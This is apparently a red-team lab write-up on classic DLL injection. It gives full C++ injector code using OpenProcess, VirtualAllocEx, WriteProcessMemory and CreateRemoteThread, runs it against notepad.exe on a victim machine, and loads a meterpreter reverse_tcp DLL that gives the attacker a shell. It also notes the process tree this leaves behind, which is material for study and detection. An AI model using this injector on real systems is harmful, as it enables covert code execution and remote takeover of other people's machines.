DLL Injection

Injecting DLL into a remote process.
This lab attempts a classic DLL injection into a remote process.
Execution
inject-dll.cpp
int main(int argc, char *argv[]) {
	HANDLE processHandle;
	PVOID remoteBuffer;
	wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");
	
	printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);	
	WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
	PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
	CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
	CloseHandle(processHandle); 
	
	return 0;
}
Compiling the above code and executing it with a supplied argument of 4892 which is a PID of the notepad.exe process on the victim system:
[email protected]
PS C:\experiments\inject1\x64\Debug> .\inject1.exe 4892
Injecting DLL to PID: 4892
After the DLL is successfully injected, the attacker receives a meterpreter session from the injected process and its privileges:
DLL injector.exe
inject1.exe - 60KB
c:\experiments\evilm64.dll (windows/x64/meterpreter/reverse_tcp)
evilm64.dll - 5KB
Observations
Note how the notepad spawned rundll32 which then spawned a cmd.exe because of the meterpreter payload (and attacker's shell command) that got executed as part of the injected evilm64.dll into the notepad process:
References
GetProcAddress function (libloaderapi.h)
Retrieves the address of an exported function or variable from the specified dynamic-link library (DLL).
msdn.microsoft.com
LoadLibraryA function (libloaderapi.h)
Loads the specified module into the address space of the calling process.
msdn.microsoft.com
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CreateRemoteThread Shellcode Injection
Reflective DLL Injection
Last updated 2 years ago